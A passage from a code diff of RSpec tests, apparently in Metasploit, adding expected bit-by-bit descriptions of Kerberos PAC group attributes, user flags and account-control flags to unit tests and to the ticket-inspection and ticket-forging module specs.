<<~TABLE + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + TABLE + end + + it 'should return formatted flag descriptions for GROUP_MEMBERSHIP flags with OWNER set' do + binary_value = [8].pack('N') + group_attributes = Rex::Proto::Kerberos::Pac::GroupAttributes.read(binary_value) + expect(subject.print_bindata_model(group_attributes, bit_length: 32)).to match_table <<~TABLE + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 1... Owner: The OWNER bit is SET + .... .... .... .... .... .... .... .0.. Enabled: The ENABLED bit is NOT SET + .... .... .... .... .... .... .... ..0. Enabled By Default: The ENABLED_BY_DEFAULT bit is NOT SET + .... .... .... .... .... .... .... ...0 Mandatory: The MANDATORY bit is NOT SET + TABLE + end + end + + context 'when passed UserFlagsAttributes' do + it 'should return formatted user descriptions for nothing being set' do + binary_value = [0].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET + TABLE + end + + it 'should return formatted user descriptions for MACHINE_ACCOUNT being set' do + binary_value = [32].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..1. .... Extra Sids: The EXTRA_SIDS bit is SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET + TABLE + end + + it 'should return formatted user descriptions for USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY, NO_ENCRYPTION and GUEST being set' do + binary_value = [8195].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + .... .... .... .... ..1. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..1. No Encryption: The NO_ENCRYPTION bit is SET + .... .... .... .... .... .... .... ...1 Guest: The GUEST bit is SET + TABLE + end + + it 'should return formatted user descriptions for every flag being set' do + binary_value = [16363].pack('N') + user_attributes = Rex::Proto::Kerberos::Pac::UserFlagAttributes.read(binary_value) + expect(subject.print_bindata_model(user_attributes, bit_length: 32)).to match_table <<~TABLE + .... .... .... .... ..1. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is SET + .... .... .... .... ...1 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is SET + .... .... .... .... .... 1... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is SET + .... .... .... .... .... .1.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is SET + .... .... .... .... .... ..1. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is SET + .... .... .... .... .... ...1 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is SET + .... .... .... .... .... .... 1... .... Machine Account: The MACHINE_ACCOUNT bit is SET + .... .... .... .... .... .... .1.. .... Sub Authentication: The SUB_AUTHENTICATION bit is SET + .... .... .... .... .... .... ..1. .... Extra Sids: The EXTRA_SIDS bit is SET + .... .... .... .... .... .... .... 1... Lan Manager: The LAN_MANAGER bit is SET + .... .... .... .... .... .... .... ..1. No Encryption: The NO_ENCRYPTION bit is SET + .... .... .... .... .... .... .... ...1 Guest: The GUEST bit is SET + TABLE + end + end + + context 'when passed UserAccountAttributes' do + it 'should return formatted user account descriptions for nothing being set' do + binary_value = [0].pack('N') + useraccount_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read(binary_value) + expect(subject.print_bindata_model(useraccount_attributes, bit_length: 32)).to match_table <<~TABLE + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..0. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is NOT SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...0 .... Normal Account: The NORMAL_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET + TABLE + end + + it 'should return formatted user account descriptions for DONT_EXPIRE_PASSWORD and NORMAL_ACCOUNT being set' do + binary_value = [528].pack('N') + useraccount_attributes = Rex::Proto::Kerberos::Pac::UserAccountAttributes.read(binary_value) + expect(subject.print_bindata_model(useraccount_attributes, bit_length: 32)).to match_table <<~TABLE + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET + TABLE + end + end + end end end diff --git a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb index 2f864222e1892..80b7e549c1702 100644 --- a/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/forge_ticket_spec.rb @@ -92,8 +92,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 32 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..1. .... Extra Sids: The EXTRA_SIDS bit is SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -104,11 +138,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-1266190811-2419310613-1856291569 Effective Name: 'Administrator' Full Name: '' diff --git a/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb b/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb index e088043a56b0b..7c828d93932f5 100644 --- a/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb +++ b/spec/modules/auxiliary/admin/kerberos/inspect_ticket_spec.rb @@ -512,8 +512,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 0 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account Disabled: The ACCOUNT_DISABLED bit is NOT SET Sub Auth Status: 0 Last Successful Interactive Logon: No Time Set (0) Last Failed Interactive Logon: No Time Set (0) @@ -522,11 +556,41 @@ Resource Group Count: 0 Group Count: 5 Group IDs: - Relative ID: 513, Attributes: 7 - Relative ID: 512, Attributes: 7 - Relative ID: 520, Attributes: 7 - Relative ID: 518, Attributes: 7 - Relative ID: 519, Attributes: 7 + Relative ID: 513 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 512 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 520 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 518 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET + Relative ID: 519 + Attributes: 7 + ..0. .... .... .... .... .... .... .... Resource: The RESOURCE bit is NOT SET + .... .... .... .... .... .... .... 0... Owner: The OWNER bit is NOT SET + .... .... .... .... .... .... .... .1.. Enabled: The ENABLED bit is SET + .... .... .... .... .... .... .... ..1. Enabled By Default: The ENABLED_BY_DEFAULT bit is SET + .... .... .... .... .... .... .... ...1 Mandatory: The MANDATORY bit is SET Logon Domain ID: S-1-5-21-3541430928-2051711210-1391384369 Effective Name: 'Administrator' Full Name: '' @@ -638,8 +702,42 @@ User ID: 500 Primary Group ID: 513 User Flags: 0 + .... .... .... .... ..0. .... .... .... Used Lmv2 Auth And Ntlmv2 Session Key: The USED_LMV2_AUTH_AND_NTLMV2_SESSION_KEY bit is NOT SET + .... .... .... .... ...0 .... .... .... Used Lmv2 Auth And Session Key: The USED_LMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... 0... .... .... Used Ntlmv2 Auth And Session Key: The USED_NTLMV2_AUTH_AND_SESSION_KEY bit is NOT SET + .... .... .... .... .... .0.. .... .... Profile Path Populated: The PROFILE_PATH_POPULATED bit is NOT SET + .... .... .... .... .... ..0. .... .... Resource Group Ids: The RESOURCE_GROUP_IDS bit is NOT SET + .... .... .... .... .... ...0 .... .... Accepts Ntlmv2: The ACCEPTS_NTLMV2 bit is NOT SET + .... .... .... .... .... .... 0... .... Machine Account: The MACHINE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Sub Authentication: The SUB_AUTHENTICATION bit is NOT SET + .... .... .... .... .... .... ..0. .... Extra Sids: The EXTRA_SIDS bit is NOT SET + .... .... .... .... .... .... .... 0... Lan Manager: The LAN_MANAGER bit is NOT SET + .... .... .... .... .... .... .... ..0. No Encryption: The NO_ENCRYPTION bit is NOT SET + .... .... .... .... .... .... .... ...0 Guest: The GUEST bit is NOT SET User Session Key: 00000000000000000000000000000000 User Account Control: 528 + .... .... ..0. .... .... .... .... .... Use Aes Keys: The USE_AES_KEYS bit is NOT SET + .... .... ...0 .... .... .... .... .... Partial Secrets Account: The PARTIAL_SECRETS_ACCOUNT bit is NOT SET + .... .... .... 0... .... .... .... .... No Auth Data Required: The NO_AUTH_DATA_REQUIRED bit is NOT SET + .... .... .... .0.. .... .... .... .... Trusted To Authenticate For Delegation: The TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit is NOT SET + .... .... .... ..0. .... .... .... .... Password Expired: The PASSWORD_EXPIRED bit is NOT SET + .... .... .... ...0 .... .... .... .... Dont Require Preauth: The DONT_REQUIRE_PREAUTH bit is NOT SET + .... .... .... .... 0... .... .... .... Use Des Key Only: The USE_DES_KEY_ONLY bit is NOT SET + .... .... .... .... .0.. .... .... .... Not Delegated: The NOT_DELEGATED bit is NOT SET + .... .... .... .... ..0. .... .... .... Trusted For Delegation: The TRUSTED_FOR_DELEGATION bit is NOT SET + .... .... .... .... ...0 .... .... .... Smartcard Required: The SMARTCARD_REQUIRED bit is NOT SET + .... .... .... .... .... 0... .... .... Encrypted Test Password Allowed: The ENCRYPTED_TEST_PASSWORD_ALLOWED bit is NOT SET + .... .... .... .... .... .0.. .... .... Account Auto Lock: The ACCOUNT_AUTO_LOCK bit is NOT SET + .... .... .... .... .... ..1. .... .... Dont Expire Password: The DONT_EXPIRE_PASSWORD bit is SET + .... .... .... .... .... ...0 .... .... Server Trust Account: The SERVER_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... 0... .... Workstation Trust Account: The WORKSTATION_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .0.. .... Interdomain Trust Account: The INTERDOMAIN_TRUST_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ..0. .... Mns Logon Account: The MNS_LOGON_ACCOUNT bit is NOT SET + .... .... .... .... .... .... ...1 .... Normal Account: The NORMAL_ACCOUNT bit is SET + .... .... .... .... .... .... .... 0... Temp Duplicate Account: The TEMP_DUPLICATE_ACCOUNT bit is NOT SET + .... .... .... .... .... .... .... .0.. Password Not Required: The PASSWORD_NOT_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ..0. Home Directory Required: The HOME_DIRECTORY_REQUIRED bit is NOT SET + .... .... .... .... .... .... .... ...0 Account 